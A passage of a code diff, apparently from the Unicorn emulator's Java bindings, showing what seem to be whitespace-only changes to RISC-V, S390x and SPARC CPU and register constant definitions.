public static final int UC_RISCV_REG_MCAUSE = 129;
public static final int UC_RISCV_REG_MTVAL = 130;
public static final int UC_RISCV_REG_MIP = 131;
public static final int UC_RISCV_REG_MBADADDR = 132;
public static final int UC_RISCV_REG_SSTATUS = 133;
public static final int UC_RISCV_REG_SEDELEG = 134;
public static final int UC_RISCV_REG_SIDELEG = 135;
public static final int UC_RISCV_REG_SIE = 136;
public static final int UC_RISCV_REG_STVEC = 137;
public static final int UC_RISCV_REG_SCOUNTEREN = 138;
public static final int UC_RISCV_REG_SSCRATCH = 139;
public static final int UC_RISCV_REG_SEPC = 140;
public static final int UC_RISCV_REG_SCAUSE = 141;
public static final int UC_RISCV_REG_STVAL = 142;
public static final int UC_RISCV_REG_SIP = 143;
public static final int UC_RISCV_REG_SBADADDR = 144;
public static final int UC_RISCV_REG_SPTBR = 145;
public static final int UC_RISCV_REG_SATP = 146;
public static final int UC_RISCV_REG_HSTATUS = 147;
public static final int UC_RISCV_REG_HEDELEG = 148;
public static final int UC_RISCV_REG_HIDELEG = 149;
public static final int UC_RISCV_REG_HIE = 150;
public static final int UC_RISCV_REG_HCOUNTEREN = 151;
public static final int UC_RISCV_REG_HTVAL = 152;
public static final int UC_RISCV_REG_HIP = 153;
public static final int UC_RISCV_REG_HTINST = 154;
public static final int UC_RISCV_REG_HGATP = 155;
public static final int UC_RISCV_REG_HTIMEDELTA = 156;
public static final int UC_RISCV_REG_HTIMEDELTAH = 157;
// RISCV CSR
public static final int UC_RISCV_REG_USTATUS = 33;
public static final int UC_RISCV_REG_UIE = 34;
public static final int UC_RISCV_REG_UTVEC = 35;
public static final int UC_RISCV_REG_USCRATCH = 36;
public static final int UC_RISCV_REG_UEPC = 37;
public static final int UC_RISCV_REG_UCAUSE = 38;
public static final int UC_RISCV_REG_UTVAL = 39;
public static final int UC_RISCV_REG_UIP = 40;
public static final int UC_RISCV_REG_FFLAGS = 41;
public static final int UC_RISCV_REG_FRM = 42;
public static final int UC_RISCV_REG_FCSR = 43;
public static final int UC_RISCV_REG_CYCLE = 44;
public static final int UC_RISCV_REG_TIME = 45;
public static final int UC_RISCV_REG_INSTRET = 46;
public static final int UC_RISCV_REG_HPMCOUNTER3 = 47;
public static final int UC_RISCV_REG_HPMCOUNTER4 = 48;
public static final int UC_RISCV_REG_HPMCOUNTER5 = 49;
public static final int UC_RISCV_REG_HPMCOUNTER6 = 50;
public static final int UC_RISCV_REG_HPMCOUNTER7 = 51;
public static final int UC_RISCV_REG_HPMCOUNTER8 = 52;
public static final int UC_RISCV_REG_HPMCOUNTER9 = 53;
public static final int UC_RISCV_REG_HPMCOUNTER10 = 54;
public static final int UC_RISCV_REG_HPMCOUNTER11 = 55;
public static final int UC_RISCV_REG_HPMCOUNTER12 = 56;
public static final int UC_RISCV_REG_HPMCOUNTER13 = 57;
public static final int UC_RISCV_REG_HPMCOUNTER14 = 58;
public static final int UC_RISCV_REG_HPMCOUNTER15 = 59;
public static final int UC_RISCV_REG_HPMCOUNTER16 = 60;
public static final int UC_RISCV_REG_HPMCOUNTER17 = 61;
public static final int UC_RISCV_REG_HPMCOUNTER18 = 62;
public static final int UC_RISCV_REG_HPMCOUNTER19 = 63;
public static final int UC_RISCV_REG_HPMCOUNTER20 = 64;
public static final int UC_RISCV_REG_HPMCOUNTER21 = 65;
public static final int UC_RISCV_REG_HPMCOUNTER22 = 66;
public static final int UC_RISCV_REG_HPMCOUNTER23 = 67;
public static final int UC_RISCV_REG_HPMCOUNTER24 = 68;
public static final int UC_RISCV_REG_HPMCOUNTER25 = 69;
public static final int UC_RISCV_REG_HPMCOUNTER26 = 70;
public static final int UC_RISCV_REG_HPMCOUNTER27 = 71;
public static final int UC_RISCV_REG_HPMCOUNTER28 = 72;
public static final int UC_RISCV_REG_HPMCOUNTER29 = 73;
public static final int UC_RISCV_REG_HPMCOUNTER30 = 74;
public static final int UC_RISCV_REG_HPMCOUNTER31 = 75;
public static final int UC_RISCV_REG_CYCLEH = 76;
public static final int UC_RISCV_REG_TIMEH = 77;
public static final int UC_RISCV_REG_INSTRETH = 78;
public static final int UC_RISCV_REG_HPMCOUNTER3H = 79;
public static final int UC_RISCV_REG_HPMCOUNTER4H = 80;
public static final int UC_RISCV_REG_HPMCOUNTER5H = 81;
public static final int UC_RISCV_REG_HPMCOUNTER6H = 82;
public static final int UC_RISCV_REG_HPMCOUNTER7H = 83;
public static final int UC_RISCV_REG_HPMCOUNTER8H = 84;
public static final int UC_RISCV_REG_HPMCOUNTER9H = 85;
public static final int UC_RISCV_REG_HPMCOUNTER10H = 86;
public static final int UC_RISCV_REG_HPMCOUNTER11H = 87;
public static final int UC_RISCV_REG_HPMCOUNTER12H = 88;
public static final int UC_RISCV_REG_HPMCOUNTER13H = 89;
public static final int UC_RISCV_REG_HPMCOUNTER14H = 90;
public static final int UC_RISCV_REG_HPMCOUNTER15H = 91;
public static final int UC_RISCV_REG_HPMCOUNTER16H = 92;
public static final int UC_RISCV_REG_HPMCOUNTER17H = 93;
public static final int UC_RISCV_REG_HPMCOUNTER18H = 94;
public static final int UC_RISCV_REG_HPMCOUNTER19H = 95;
public static final int UC_RISCV_REG_HPMCOUNTER20H = 96;
public static final int UC_RISCV_REG_HPMCOUNTER21H = 97;
public static final int UC_RISCV_REG_HPMCOUNTER22H = 98;
public static final int UC_RISCV_REG_HPMCOUNTER23H = 99;
public static final int UC_RISCV_REG_HPMCOUNTER24H = 100;
public static final int UC_RISCV_REG_HPMCOUNTER25H = 101;
public static final int UC_RISCV_REG_HPMCOUNTER26H = 102;
public static final int UC_RISCV_REG_HPMCOUNTER27H = 103;
public static final int UC_RISCV_REG_HPMCOUNTER28H = 104;
public static final int UC_RISCV_REG_HPMCOUNTER29H = 105;
public static final int UC_RISCV_REG_HPMCOUNTER30H = 106;
public static final int UC_RISCV_REG_HPMCOUNTER31H = 107;
public static final int UC_RISCV_REG_MCYCLE = 108;
public static final int UC_RISCV_REG_MINSTRET = 109;
public static final int UC_RISCV_REG_MCYCLEH = 110;
public static final int UC_RISCV_REG_MINSTRETH = 111;
public static final int UC_RISCV_REG_MVENDORID = 112;
public static final int UC_RISCV_REG_MARCHID = 113;
public static final int UC_RISCV_REG_MIMPID = 114;
public static final int UC_RISCV_REG_MHARTID = 115;
public static final int UC_RISCV_REG_MSTATUS = 116;
public static final int UC_RISCV_REG_MISA = 117;
public static final int UC_RISCV_REG_MEDELEG = 118;
public static final int UC_RISCV_REG_MIDELEG = 119;
public static final int UC_RISCV_REG_MIE = 120;
public static final int UC_RISCV_REG_MTVEC = 121;
public static final int UC_RISCV_REG_MCOUNTEREN = 122;
public static final int UC_RISCV_REG_MSTATUSH = 123;
public static final int UC_RISCV_REG_MUCOUNTEREN = 124;
public static final int UC_RISCV_REG_MSCOUNTEREN = 125;
public static final int UC_RISCV_REG_MHCOUNTEREN = 126;
public static final int UC_RISCV_REG_MSCRATCH = 127;
public static final int UC_RISCV_REG_MEPC = 128;
public static final int UC_RISCV_REG_MCAUSE = 129;
public static final int UC_RISCV_REG_MTVAL = 130;
public static final int UC_RISCV_REG_MIP = 131;
public static final int UC_RISCV_REG_MBADADDR = 132;
public static final int UC_RISCV_REG_SSTATUS = 133;
public static final int UC_RISCV_REG_SEDELEG = 134;
public static final int UC_RISCV_REG_SIDELEG = 135;
public static final int UC_RISCV_REG_SIE = 136;
public static final int UC_RISCV_REG_STVEC = 137;
public static final int UC_RISCV_REG_SCOUNTEREN = 138;
public static final int UC_RISCV_REG_SSCRATCH = 139;
public static final int UC_RISCV_REG_SEPC = 140;
public static final int UC_RISCV_REG_SCAUSE = 141;
public static final int UC_RISCV_REG_STVAL = 142;
public static final int UC_RISCV_REG_SIP = 143;
public static final int UC_RISCV_REG_SBADADDR = 144;
public static final int UC_RISCV_REG_SPTBR = 145;
public static final int UC_RISCV_REG_SATP = 146;
public static final int UC_RISCV_REG_HSTATUS = 147;
public static final int UC_RISCV_REG_HEDELEG = 148;
public static final int UC_RISCV_REG_HIDELEG = 149;
public static final int UC_RISCV_REG_HIE = 150;
public static final int UC_RISCV_REG_HCOUNTEREN = 151;
public static final int UC_RISCV_REG_HTVAL = 152;
public static final int UC_RISCV_REG_HIP = 153;
public static final int UC_RISCV_REG_HTINST = 154;
public static final int UC_RISCV_REG_HGATP = 155;
public static final int UC_RISCV_REG_HTIMEDELTA = 156;
public static final int UC_RISCV_REG_HTIMEDELTAH = 157;
// Floating-point registers
public static final int UC_RISCV_REG_F0 = 158;
public static final int UC_RISCV_REG_F1 = 159;
public static final int UC_RISCV_REG_F2 = 160;
public static final int UC_RISCV_REG_F3 = 161;
public static final int UC_RISCV_REG_F4 = 162;
public static final int UC_RISCV_REG_F5 = 163;
public static final int UC_RISCV_REG_F6 = 164;
public static final int UC_RISCV_REG_F7 = 165;
public static final int UC_RISCV_REG_F8 = 166;
public static final int UC_RISCV_REG_F9 = 167;
public static final int UC_RISCV_REG_F10 = 168;
public static final int UC_RISCV_REG_F11 = 169;
public static final int UC_RISCV_REG_F12 = 170;
public static final int UC_RISCV_REG_F13 = 171;
public static final int UC_RISCV_REG_F14 = 172;
public static final int UC_RISCV_REG_F15 = 173;
public static final int UC_RISCV_REG_F16 = 174;
public static final int UC_RISCV_REG_F17 = 175;
public static final int UC_RISCV_REG_F18 = 176;
public static final int UC_RISCV_REG_F19 = 177;
public static final int UC_RISCV_REG_F20 = 178;
public static final int UC_RISCV_REG_F21 = 179;
public static final int UC_RISCV_REG_F22 = 180;
public static final int UC_RISCV_REG_F23 = 181;
public static final int UC_RISCV_REG_F24 = 182;
public static final int UC_RISCV_REG_F25 = 183;
public static final int UC_RISCV_REG_F26 = 184;
public static final int UC_RISCV_REG_F27 = 185;
public static final int UC_RISCV_REG_F28 = 186;
public static final int UC_RISCV_REG_F29 = 187;
public static final int UC_RISCV_REG_F30 = 188;
public static final int UC_RISCV_REG_F31 = 189;
public static final int UC_RISCV_REG_PC = 190;
public static final int UC_RISCV_REG_ENDING = 191;
// Floating-point registers
public static final int UC_RISCV_REG_F0 = 158;
public static final int UC_RISCV_REG_F1 = 159;
public static final int UC_RISCV_REG_F2 = 160;
public static final int UC_RISCV_REG_F3 = 161;
public static final int UC_RISCV_REG_F4 = 162;
public static final int UC_RISCV_REG_F5 = 163;
public static final int UC_RISCV_REG_F6 = 164;
public static final int UC_RISCV_REG_F7 = 165;
public static final int UC_RISCV_REG_F8 = 166;
public static final int UC_RISCV_REG_F9 = 167;
public static final int UC_RISCV_REG_F10 = 168;
public static final int UC_RISCV_REG_F11 = 169;
public static final int UC_RISCV_REG_F12 = 170;
public static final int UC_RISCV_REG_F13 = 171;
public static final int UC_RISCV_REG_F14 = 172;
public static final int UC_RISCV_REG_F15 = 173;
public static final int UC_RISCV_REG_F16 = 174;
public static final int UC_RISCV_REG_F17 = 175;
public static final int UC_RISCV_REG_F18 = 176;
public static final int UC_RISCV_REG_F19 = 177;
public static final int UC_RISCV_REG_F20 = 178;
public static final int UC_RISCV_REG_F21 = 179;
public static final int UC_RISCV_REG_F22 = 180;
public static final int UC_RISCV_REG_F23 = 181;
public static final int UC_RISCV_REG_F24 = 182;
public static final int UC_RISCV_REG_F25 = 183;
public static final int UC_RISCV_REG_F26 = 184;
public static final int UC_RISCV_REG_F27 = 185;
public static final int UC_RISCV_REG_F28 = 186;
public static final int UC_RISCV_REG_F29 = 187;
public static final int UC_RISCV_REG_F30 = 188;
public static final int UC_RISCV_REG_F31 = 189;
public static final int UC_RISCV_REG_PC = 190;
public static final int UC_RISCV_REG_ENDING = 191;
// Alias registers
public static final int UC_RISCV_REG_ZERO = 1;
public static final int UC_RISCV_REG_RA = 2;
public static final int UC_RISCV_REG_SP = 3;
public static final int UC_RISCV_REG_GP = 4;
public static final int UC_RISCV_REG_TP = 5;
public static final int UC_RISCV_REG_T0 = 6;
public static final int UC_RISCV_REG_T1 = 7;
public static final int UC_RISCV_REG_T2 = 8;
public static final int UC_RISCV_REG_S0 = 9;
public static final int UC_RISCV_REG_FP = 9;
public static final int UC_RISCV_REG_S1 = 10;
public static final int UC_RISCV_REG_A0 = 11;
public static final int UC_RISCV_REG_A1 = 12;
public static final int UC_RISCV_REG_A2 = 13;
public static final int UC_RISCV_REG_A3 = 14;
public static final int UC_RISCV_REG_A4 = 15;
public static final int UC_RISCV_REG_A5 = 16;
public static final int UC_RISCV_REG_A6 = 17;
public static final int UC_RISCV_REG_A7 = 18;
public static final int UC_RISCV_REG_S2 = 19;
public static final int UC_RISCV_REG_S3 = 20;
public static final int UC_RISCV_REG_S4 = 21;
public static final int UC_RISCV_REG_S5 = 22;
public static final int UC_RISCV_REG_S6 = 23;
public static final int UC_RISCV_REG_S7 = 24;
public static final int UC_RISCV_REG_S8 = 25;
public static final int UC_RISCV_REG_S9 = 26;
public static final int UC_RISCV_REG_S10 = 27;
public static final int UC_RISCV_REG_S11 = 28;
public static final int UC_RISCV_REG_T3 = 29;
public static final int UC_RISCV_REG_T4 = 30;
public static final int UC_RISCV_REG_T5 = 31;
public static final int UC_RISCV_REG_T6 = 32;
public static final int UC_RISCV_REG_FT0 = 158;
public static final int UC_RISCV_REG_FT1 = 159;
public static final int UC_RISCV_REG_FT2 = 160;
public static final int UC_RISCV_REG_FT3 = 161;
public static final int UC_RISCV_REG_FT4 = 162;
public static final int UC_RISCV_REG_FT5 = 163;
public static final int UC_RISCV_REG_FT6 = 164;
public static final int UC_RISCV_REG_FT7 = 165;
public static final int UC_RISCV_REG_FS0 = 166;
public static final int UC_RISCV_REG_FS1 = 167;
public static final int UC_RISCV_REG_FA0 = 168;
public static final int UC_RISCV_REG_FA1 = 169;
public static final int UC_RISCV_REG_FA2 = 170;
public static final int UC_RISCV_REG_FA3 = 171;
public static final int UC_RISCV_REG_FA4 = 172;
public static final int UC_RISCV_REG_FA5 = 173;
public static final int UC_RISCV_REG_FA6 = 174;
public static final int UC_RISCV_REG_FA7 = 175;
public static final int UC_RISCV_REG_FS2 = 176;
public static final int UC_RISCV_REG_FS3 = 177;
public static final int UC_RISCV_REG_FS4 = 178;
public static final int UC_RISCV_REG_FS5 = 179;
public static final int UC_RISCV_REG_FS6 = 180;
public static final int UC_RISCV_REG_FS7 = 181;
public static final int UC_RISCV_REG_FS8 = 182;
public static final int UC_RISCV_REG_FS9 = 183;
public static final int UC_RISCV_REG_FS10 = 184;
public static final int UC_RISCV_REG_FS11 = 185;
public static final int UC_RISCV_REG_FT8 = 186;
public static final int UC_RISCV_REG_FT9 = 187;
public static final int UC_RISCV_REG_FT10 = 188;
public static final int UC_RISCV_REG_FT11 = 189;
// Alias registers
public static final int UC_RISCV_REG_ZERO = 1;
public static final int UC_RISCV_REG_RA = 2;
public static final int UC_RISCV_REG_SP = 3;
public static final int UC_RISCV_REG_GP = 4;
public static final int UC_RISCV_REG_TP = 5;
public static final int UC_RISCV_REG_T0 = 6;
public static final int UC_RISCV_REG_T1 = 7;
public static final int UC_RISCV_REG_T2 = 8;
public static final int UC_RISCV_REG_S0 = 9;
public static final int UC_RISCV_REG_FP = 9;
public static final int UC_RISCV_REG_S1 = 10;
public static final int UC_RISCV_REG_A0 = 11;
public static final int UC_RISCV_REG_A1 = 12;
public static final int UC_RISCV_REG_A2 = 13;
public static final int UC_RISCV_REG_A3 = 14;
public static final int UC_RISCV_REG_A4 = 15;
public static final int UC_RISCV_REG_A5 = 16;
public static final int UC_RISCV_REG_A6 = 17;
public static final int UC_RISCV_REG_A7 = 18;
public static final int UC_RISCV_REG_S2 = 19;
public static final int UC_RISCV_REG_S3 = 20;
public static final int UC_RISCV_REG_S4 = 21;
public static final int UC_RISCV_REG_S5 = 22;
public static final int UC_RISCV_REG_S6 = 23;
public static final int UC_RISCV_REG_S7 = 24;
public static final int UC_RISCV_REG_S8 = 25;
public static final int UC_RISCV_REG_S9 = 26;
public static final int UC_RISCV_REG_S10 = 27;
public static final int UC_RISCV_REG_S11 = 28;
public static final int UC_RISCV_REG_T3 = 29;
public static final int UC_RISCV_REG_T4 = 30;
public static final int UC_RISCV_REG_T5 = 31;
public static final int UC_RISCV_REG_T6 = 32;
public static final int UC_RISCV_REG_FT0 = 158;
public static final int UC_RISCV_REG_FT1 = 159;
public static final int UC_RISCV_REG_FT2 = 160;
public static final int UC_RISCV_REG_FT3 = 161;
public static final int UC_RISCV_REG_FT4 = 162;
public static final int UC_RISCV_REG_FT5 = 163;
public static final int UC_RISCV_REG_FT6 = 164;
public static final int UC_RISCV_REG_FT7 = 165;
public static final int UC_RISCV_REG_FS0 = 166;
public static final int UC_RISCV_REG_FS1 = 167;
public static final int UC_RISCV_REG_FA0 = 168;
public static final int UC_RISCV_REG_FA1 = 169;
public static final int UC_RISCV_REG_FA2 = 170;
public static final int UC_RISCV_REG_FA3 = 171;
public static final int UC_RISCV_REG_FA4 = 172;
public static final int UC_RISCV_REG_FA5 = 173;
public static final int UC_RISCV_REG_FA6 = 174;
public static final int UC_RISCV_REG_FA7 = 175;
public static final int UC_RISCV_REG_FS2 = 176;
public static final int UC_RISCV_REG_FS3 = 177;
public static final int UC_RISCV_REG_FS4 = 178;
public static final int UC_RISCV_REG_FS5 = 179;
public static final int UC_RISCV_REG_FS6 = 180;
public static final int UC_RISCV_REG_FS7 = 181;
public static final int UC_RISCV_REG_FS8 = 182;
public static final int UC_RISCV_REG_FS9 = 183;
public static final int UC_RISCV_REG_FS10 = 184;
public static final int UC_RISCV_REG_FS11 = 185;
public static final int UC_RISCV_REG_FT8 = 186;
public static final int UC_RISCV_REG_FT9 = 187;
public static final int UC_RISCV_REG_FT10 = 188;
public static final int UC_RISCV_REG_FT11 = 189;
}

View File

@@ -4,125 +4,125 @@ package unicorn;
public interface S390xConst {
// S390X CPU
// S390X CPU
public static final int UC_CPU_S390X_Z900 = 0;
public static final int UC_CPU_S390X_Z900_2 = 1;
public static final int UC_CPU_S390X_Z900_3 = 2;
public static final int UC_CPU_S390X_Z800 = 3;
public static final int UC_CPU_S390X_Z990 = 4;
public static final int UC_CPU_S390X_Z990_2 = 5;
public static final int UC_CPU_S390X_Z990_3 = 6;
public static final int UC_CPU_S390X_Z890 = 7;
public static final int UC_CPU_S390X_Z990_4 = 8;
public static final int UC_CPU_S390X_Z890_2 = 9;
public static final int UC_CPU_S390X_Z990_5 = 10;
public static final int UC_CPU_S390X_Z890_3 = 11;
public static final int UC_CPU_S390X_Z9EC = 12;
public static final int UC_CPU_S390X_Z9EC_2 = 13;
public static final int UC_CPU_S390X_Z9BC = 14;
public static final int UC_CPU_S390X_Z9EC_3 = 15;
public static final int UC_CPU_S390X_Z9BC_2 = 16;
public static final int UC_CPU_S390X_Z10EC = 17;
public static final int UC_CPU_S390X_Z10EC_2 = 18;
public static final int UC_CPU_S390X_Z10BC = 19;
public static final int UC_CPU_S390X_Z10EC_3 = 20;
public static final int UC_CPU_S390X_Z10BC_2 = 21;
public static final int UC_CPU_S390X_Z196 = 22;
public static final int UC_CPU_S390X_Z196_2 = 23;
public static final int UC_CPU_S390X_Z114 = 24;
public static final int UC_CPU_S390X_ZEC12 = 25;
public static final int UC_CPU_S390X_ZEC12_2 = 26;
public static final int UC_CPU_S390X_ZBC12 = 27;
public static final int UC_CPU_S390X_Z13 = 28;
public static final int UC_CPU_S390X_Z13_2 = 29;
public static final int UC_CPU_S390X_Z13S = 30;
public static final int UC_CPU_S390X_Z14 = 31;
public static final int UC_CPU_S390X_Z14_2 = 32;
public static final int UC_CPU_S390X_Z14ZR1 = 33;
public static final int UC_CPU_S390X_GEN15A = 34;
public static final int UC_CPU_S390X_GEN15B = 35;
public static final int UC_CPU_S390X_QEMU = 36;
public static final int UC_CPU_S390X_MAX = 37;
public static final int UC_CPU_S390X_ENDING = 38;
public static final int UC_CPU_S390X_Z900 = 0;
public static final int UC_CPU_S390X_Z900_2 = 1;
public static final int UC_CPU_S390X_Z900_3 = 2;
public static final int UC_CPU_S390X_Z800 = 3;
public static final int UC_CPU_S390X_Z990 = 4;
public static final int UC_CPU_S390X_Z990_2 = 5;
public static final int UC_CPU_S390X_Z990_3 = 6;
public static final int UC_CPU_S390X_Z890 = 7;
public static final int UC_CPU_S390X_Z990_4 = 8;
public static final int UC_CPU_S390X_Z890_2 = 9;
public static final int UC_CPU_S390X_Z990_5 = 10;
public static final int UC_CPU_S390X_Z890_3 = 11;
public static final int UC_CPU_S390X_Z9EC = 12;
public static final int UC_CPU_S390X_Z9EC_2 = 13;
public static final int UC_CPU_S390X_Z9BC = 14;
public static final int UC_CPU_S390X_Z9EC_3 = 15;
public static final int UC_CPU_S390X_Z9BC_2 = 16;
public static final int UC_CPU_S390X_Z10EC = 17;
public static final int UC_CPU_S390X_Z10EC_2 = 18;
public static final int UC_CPU_S390X_Z10BC = 19;
public static final int UC_CPU_S390X_Z10EC_3 = 20;
public static final int UC_CPU_S390X_Z10BC_2 = 21;
public static final int UC_CPU_S390X_Z196 = 22;
public static final int UC_CPU_S390X_Z196_2 = 23;
public static final int UC_CPU_S390X_Z114 = 24;
public static final int UC_CPU_S390X_ZEC12 = 25;
public static final int UC_CPU_S390X_ZEC12_2 = 26;
public static final int UC_CPU_S390X_ZBC12 = 27;
public static final int UC_CPU_S390X_Z13 = 28;
public static final int UC_CPU_S390X_Z13_2 = 29;
public static final int UC_CPU_S390X_Z13S = 30;
public static final int UC_CPU_S390X_Z14 = 31;
public static final int UC_CPU_S390X_Z14_2 = 32;
public static final int UC_CPU_S390X_Z14ZR1 = 33;
public static final int UC_CPU_S390X_GEN15A = 34;
public static final int UC_CPU_S390X_GEN15B = 35;
public static final int UC_CPU_S390X_QEMU = 36;
public static final int UC_CPU_S390X_MAX = 37;
public static final int UC_CPU_S390X_ENDING = 38;
// S390X registers
// S390X registers
public static final int UC_S390X_REG_INVALID = 0;
public static final int UC_S390X_REG_INVALID = 0;
// General purpose registers
public static final int UC_S390X_REG_R0 = 1;
public static final int UC_S390X_REG_R1 = 2;
public static final int UC_S390X_REG_R2 = 3;
public static final int UC_S390X_REG_R3 = 4;
public static final int UC_S390X_REG_R4 = 5;
public static final int UC_S390X_REG_R5 = 6;
public static final int UC_S390X_REG_R6 = 7;
public static final int UC_S390X_REG_R7 = 8;
public static final int UC_S390X_REG_R8 = 9;
public static final int UC_S390X_REG_R9 = 10;
public static final int UC_S390X_REG_R10 = 11;
public static final int UC_S390X_REG_R11 = 12;
public static final int UC_S390X_REG_R12 = 13;
public static final int UC_S390X_REG_R13 = 14;
public static final int UC_S390X_REG_R14 = 15;
public static final int UC_S390X_REG_R15 = 16;
// General purpose registers
public static final int UC_S390X_REG_R0 = 1;
public static final int UC_S390X_REG_R1 = 2;
public static final int UC_S390X_REG_R2 = 3;
public static final int UC_S390X_REG_R3 = 4;
public static final int UC_S390X_REG_R4 = 5;
public static final int UC_S390X_REG_R5 = 6;
public static final int UC_S390X_REG_R6 = 7;
public static final int UC_S390X_REG_R7 = 8;
public static final int UC_S390X_REG_R8 = 9;
public static final int UC_S390X_REG_R9 = 10;
public static final int UC_S390X_REG_R10 = 11;
public static final int UC_S390X_REG_R11 = 12;
public static final int UC_S390X_REG_R12 = 13;
public static final int UC_S390X_REG_R13 = 14;
public static final int UC_S390X_REG_R14 = 15;
public static final int UC_S390X_REG_R15 = 16;
// Floating point registers
public static final int UC_S390X_REG_F0 = 17;
public static final int UC_S390X_REG_F1 = 18;
public static final int UC_S390X_REG_F2 = 19;
public static final int UC_S390X_REG_F3 = 20;
public static final int UC_S390X_REG_F4 = 21;
public static final int UC_S390X_REG_F5 = 22;
public static final int UC_S390X_REG_F6 = 23;
public static final int UC_S390X_REG_F7 = 24;
public static final int UC_S390X_REG_F8 = 25;
public static final int UC_S390X_REG_F9 = 26;
public static final int UC_S390X_REG_F10 = 27;
public static final int UC_S390X_REG_F11 = 28;
public static final int UC_S390X_REG_F12 = 29;
public static final int UC_S390X_REG_F13 = 30;
public static final int UC_S390X_REG_F14 = 31;
public static final int UC_S390X_REG_F15 = 32;
public static final int UC_S390X_REG_F16 = 33;
public static final int UC_S390X_REG_F17 = 34;
public static final int UC_S390X_REG_F18 = 35;
public static final int UC_S390X_REG_F19 = 36;
public static final int UC_S390X_REG_F20 = 37;
public static final int UC_S390X_REG_F21 = 38;
public static final int UC_S390X_REG_F22 = 39;
public static final int UC_S390X_REG_F23 = 40;
public static final int UC_S390X_REG_F24 = 41;
public static final int UC_S390X_REG_F25 = 42;
public static final int UC_S390X_REG_F26 = 43;
public static final int UC_S390X_REG_F27 = 44;
public static final int UC_S390X_REG_F28 = 45;
public static final int UC_S390X_REG_F29 = 46;
public static final int UC_S390X_REG_F30 = 47;
public static final int UC_S390X_REG_F31 = 48;
// Floating point registers
public static final int UC_S390X_REG_F0 = 17;
public static final int UC_S390X_REG_F1 = 18;
public static final int UC_S390X_REG_F2 = 19;
public static final int UC_S390X_REG_F3 = 20;
public static final int UC_S390X_REG_F4 = 21;
public static final int UC_S390X_REG_F5 = 22;
public static final int UC_S390X_REG_F6 = 23;
public static final int UC_S390X_REG_F7 = 24;
public static final int UC_S390X_REG_F8 = 25;
public static final int UC_S390X_REG_F9 = 26;
public static final int UC_S390X_REG_F10 = 27;
public static final int UC_S390X_REG_F11 = 28;
public static final int UC_S390X_REG_F12 = 29;
public static final int UC_S390X_REG_F13 = 30;
public static final int UC_S390X_REG_F14 = 31;
public static final int UC_S390X_REG_F15 = 32;
public static final int UC_S390X_REG_F16 = 33;
public static final int UC_S390X_REG_F17 = 34;
public static final int UC_S390X_REG_F18 = 35;
public static final int UC_S390X_REG_F19 = 36;
public static final int UC_S390X_REG_F20 = 37;
public static final int UC_S390X_REG_F21 = 38;
public static final int UC_S390X_REG_F22 = 39;
public static final int UC_S390X_REG_F23 = 40;
public static final int UC_S390X_REG_F24 = 41;
public static final int UC_S390X_REG_F25 = 42;
public static final int UC_S390X_REG_F26 = 43;
public static final int UC_S390X_REG_F27 = 44;
public static final int UC_S390X_REG_F28 = 45;
public static final int UC_S390X_REG_F29 = 46;
public static final int UC_S390X_REG_F30 = 47;
public static final int UC_S390X_REG_F31 = 48;
// Access registers
public static final int UC_S390X_REG_A0 = 49;
public static final int UC_S390X_REG_A1 = 50;
public static final int UC_S390X_REG_A2 = 51;
public static final int UC_S390X_REG_A3 = 52;
public static final int UC_S390X_REG_A4 = 53;
public static final int UC_S390X_REG_A5 = 54;
public static final int UC_S390X_REG_A6 = 55;
public static final int UC_S390X_REG_A7 = 56;
public static final int UC_S390X_REG_A8 = 57;
public static final int UC_S390X_REG_A9 = 58;
public static final int UC_S390X_REG_A10 = 59;
public static final int UC_S390X_REG_A11 = 60;
public static final int UC_S390X_REG_A12 = 61;
public static final int UC_S390X_REG_A13 = 62;
public static final int UC_S390X_REG_A14 = 63;
public static final int UC_S390X_REG_A15 = 64;
public static final int UC_S390X_REG_PC = 65;
public static final int UC_S390X_REG_PSWM = 66;
public static final int UC_S390X_REG_ENDING = 67;
// Access registers
public static final int UC_S390X_REG_A0 = 49;
public static final int UC_S390X_REG_A1 = 50;
public static final int UC_S390X_REG_A2 = 51;
public static final int UC_S390X_REG_A3 = 52;
public static final int UC_S390X_REG_A4 = 53;
public static final int UC_S390X_REG_A5 = 54;
public static final int UC_S390X_REG_A6 = 55;
public static final int UC_S390X_REG_A7 = 56;
public static final int UC_S390X_REG_A8 = 57;
public static final int UC_S390X_REG_A9 = 58;
public static final int UC_S390X_REG_A10 = 59;
public static final int UC_S390X_REG_A11 = 60;
public static final int UC_S390X_REG_A12 = 61;
public static final int UC_S390X_REG_A13 = 62;
public static final int UC_S390X_REG_A14 = 63;
public static final int UC_S390X_REG_A15 = 64;
public static final int UC_S390X_REG_PC = 65;
public static final int UC_S390X_REG_PSWM = 66;
public static final int UC_S390X_REG_ENDING = 67;
// Alias registers
// Alias registers
}

View File

@@ -4,137 +4,137 @@ package unicorn;
public interface SparcConst {
// SPARC32 CPU
// SPARC32 CPU
public static final int UC_CPU_SPARC32_FUJITSU_MB86904 = 0;
public static final int UC_CPU_SPARC32_FUJITSU_MB86907 = 1;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_I = 2;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_II = 3;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_IIEP = 4;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_40 = 5;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_50 = 6;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_51 = 7;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_60 = 8;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_61 = 9;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_II = 10;
public static final int UC_CPU_SPARC32_LEON2 = 11;
public static final int UC_CPU_SPARC32_LEON3 = 12;
public static final int UC_CPU_SPARC32_ENDING = 13;
public static final int UC_CPU_SPARC32_FUJITSU_MB86904 = 0;
public static final int UC_CPU_SPARC32_FUJITSU_MB86907 = 1;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_I = 2;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_II = 3;
public static final int UC_CPU_SPARC32_TI_MICROSPARC_IIEP = 4;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_40 = 5;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_50 = 6;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_51 = 7;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_60 = 8;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_61 = 9;
public static final int UC_CPU_SPARC32_TI_SUPERSPARC_II = 10;
public static final int UC_CPU_SPARC32_LEON2 = 11;
public static final int UC_CPU_SPARC32_LEON3 = 12;
